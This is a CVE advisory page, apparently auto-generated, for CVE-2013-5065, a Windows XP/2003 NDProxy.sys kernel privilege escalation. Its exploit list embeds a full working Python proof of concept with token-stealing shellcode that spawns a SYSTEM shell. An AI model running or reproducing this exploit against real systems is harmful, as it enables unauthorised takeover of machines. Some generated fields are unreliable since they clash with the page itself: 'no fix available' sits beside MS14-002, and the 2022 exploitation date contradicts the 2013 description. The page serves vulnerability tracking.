# CVE-2013-5065: Microsoft Windows Kernel Privilege Escalation

> Local attackers can gain elevated privileges via a crafted application exploiting the NDProxy.sys kernel driver in Windows.

- **Severity:** High 7.8 (`CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H`)
- **Exploited in the wild:** Yes, since 3 Mar 2022 (CISA KEV)
- **Login needed:** Not needed
- **Attackable:** Local or same network only
- **Victim action needed:** A user has to click or open something
- **Fix available:** No
- **Published:** 27 Nov 2013
- **Updated:** 22 Oct 2025
- **Also known as:** GHSA-gmpw-376j-24w5

## What is CVE-2013-5065?

CVE-2013-5065 is a high-severity vulnerability in Microsoft Windows 2003 Server, published on 27 Nov 2013. It can only be exploited from the same machine or local network, and only if a user opens a file or follows a link.

### Official description

NDProxy.sys in the kernel in Microsoft Windows XP SP2 and SP3 and Server 2003 SP2 allows local users to gain privileges via a crafted application, as exploited in the wild in November 2013.

## Which versions are affected by CVE-2013-5065?

It affects 2 products.


Products: Microsoft Windows 2003 Server, Microsoft Windows Xp.

## How do I fix CVE-2013-5065?

No fix has been published for CVE-2013-5065 yet. Limit exposure of the affected software until one is available. US federal agencies must fix it by 24 Mar 2022.

## Is CVE-2013-5065 being exploited?

Yes. Attackers have exploited CVE-2013-5065 in the wild since at least 3 Mar 2022.

Public exploit code:

- MS14-002 Microsoft Windows ndproxy.sys Local Privilege Escalation (metasploit)
- Microsoft Windows - 'NDPROXY' SYSTEM Privilege Escalation (MS14-002) (exploitdb)
- # NDPROXY Local SYSTEM privilege escalation # http://www.offensive-security.com # Tested on Windows XP SP3 # http://www.offensive-security.com/vulndev/ndproxy-local-system-exploit-cve-2013-5065/     # Original crash ... null pointer dereference # Access violation - code c0000005 (!!! second chance !!!) # 00000038 ??              ???   from ctypes import * from ctypes.wintypes import * import os, sys   kernel32 = windll.kernel32 ntdll = windll.ntdll   GENERIC_READ     = 0x80000000 GENERIC_WRITE    = 0x40000000 FILE_SHARE_READ  = 0x00000001 FILE_SHARE_WRITE = 0x00000002 NULL = 0x0 OPEN_EXISTING = 0x3 PROCESS_VM_WRITE            = 0x0020 PROCESS_VM_READ             = 0x0010 MEM_COMMIT                  = 0x00001000 MEM_RESERVE                 = 0x00002000 MEM_FREE                    = 0x00010000 PAGE_EXECUTE_READWRITE      = 0x00000040 PROCESS_ALL_ACCESS          = 2097151 FORMAT_MESSAGE_FROM_SYSTEM  = 0x00001000 baseadd = c_int(0x00000001) MEMRES = (0x1000 | 0x2000) MEM_DECOMMIT = 0x4000 PAGEEXE = 0x00000040 null_size = c_int(0x1000) STATUS_SUCCESS = 0   def log(msg):     print msg   def getLastError():     """[-] Format GetLastError"""     buf = create_string_buffer(2048)     if kernel32.FormatMessageA(FORMAT_MESSAGE_FROM_SYSTEM, NULL,             kernel32.GetLastError(), 0,             buf, sizeof(buf), NULL):         log(buf.value)     else:         log("[-] Unknown Error")   print "[*] Microsoft Windows NDProxy CVE-2013-5065 0day" print "[*] Vulnerability found in the wild" print "[*] Coded by Offensive Security"                 tmp = ("\x00"*4)*5 + "\x25\x01\x03\x07" + "\x00"*4 + "\x34\x00\x00\x00" + "\x00"*(84-24) InBuf = c_char_p(tmp)   dwStatus = ntdll.NtAllocateVirtualMemory(0xFFFFFFFF, byref(baseadd), 0x0, byref(null_size), MEMRES, PAGEEXE) if dwStatus != STATUS_SUCCESS:     print "[+] Something went wrong while allocating the null paged memory: %s" % dwStatus     getLastError() written = c_ulong() sh = "\x90\x33\xC0\x64\x8B\x80\x24\x01\x00\x00\x8B\x40\x44\x8B\xC8\x8B\x80\x88\x00\x00\x00\x2D\x88\x00\x00\x00\x83\xB8\x84\x00\x00\x00\x04\x75\xEC\x8B\x90\xC8\x00\x00\x00\x89\x91\xC8\x00\x00\x00\xC3" sc = "\x90"*0x38 + "\x3c\x00\x00\x00" + "\x90"*4 + sh + "\xcc"*(0x400-0x3c-4-len(sh)) alloc = kernel32.WriteProcessMemory(0xFFFFFFFF, 0x00000001, sc, 0x400, byref(written)) if alloc == 0:     print "[+] Something went wrong while writing our junk to the null paged memory: %s" % alloc     getLastError()   dwRetBytes = DWORD(0) DEVICE_NAME   = "\\\\.\\NDProxy" hdev = kernel32.CreateFileA(DEVICE_NAME, 0, 0, None, OPEN_EXISTING , 0, None) if hdev == -1:     print "[-] Couldn't open the device... :("     sys.exit() kernel32.DeviceIoControl(hdev, 0x8fff23cc, InBuf, 0x54, InBuf, 0x24, byref(dwRetBytes), 0) kernel32.CloseHandle(hdev) print "[+] Spawning SYSTEM Shell..." os.system("start /d \"C:\\windows\\system32\" cmd.exe") (github_poc): https://github.com/Friarfukd/RobbinHood
- Microsoft Windows - 'ndproxy.sys' Local Privilege Escalation (Metasploit) (exploitdb)
- Microsoft Windows XP SP3 (x86) / 2003 SP2 (x86) - 'NDProxy' Local Privilege Escalation (MS14-002) (exploitdb)

## Other vulnerabilities in Microsoft Windows 2003 Server

- [CVE-2008-0015](https://insights.sbomify.com/CVE-2008-0015/): Microsoft Windows Video ActiveX Control Remote Code Execution (high 8.8, exploited in the wild)
- [CVE-2015-1701](https://insights.sbomify.com/CVE-2015-1701/): Microsoft Win32k Privilege Escalation (high 7.8, exploited in the wild)
- [CVE-2011-1268](https://insights.sbomify.com/CVE-2011-1268/): Code injection in n/a (critical 10.0)
- [CVE-2011-1868](https://insights.sbomify.com/CVE-2011-1868/): Memory corruption in n/a (critical 10.0)
- [CVE-2011-0661](https://insights.sbomify.com/CVE-2011-0661/): Memory corruption in n/a (critical 10.0)

## Fix prompt for AI coding agents

```text
Check this codebase for CVE-2013-5065 and fix it if it is affected.

What it is: CVE-2013-5065 is a high-severity vulnerability in Microsoft Windows 2003 Server, published on 27 Nov 2013. It can only be exploited from the same machine or local network, and only if a user opens a file or follows a link.
Exploitation: Yes. Attackers have exploited CVE-2013-5065 in the wild since at least 3 Mar 2022.

Affected product: Microsoft Windows 2003 Server. No package-level version data is available, so check the vendor advisory linked from the reference page.

Task:
1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.
2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.
3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.
4. Run the tests and summarise what changed and why.
5. If nothing in the project is affected, say so and change nothing.

Reference: https://insights.sbomify.com/CVE-2013-5065/ (Markdown: https://insights.sbomify.com/CVE-2013-5065/index.md)
```

## Sources

- CVE record: https://www.cve.org/CVERecord?id=CVE-2013-5065
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2013-5065
- OSV: https://osv.dev/vulnerability/CVE-2013-5065

---
From sbomify Insights: https://insights.sbomify.com/CVE-2013-5065/
Summaries are generated and may contain mistakes; the official description above is the record.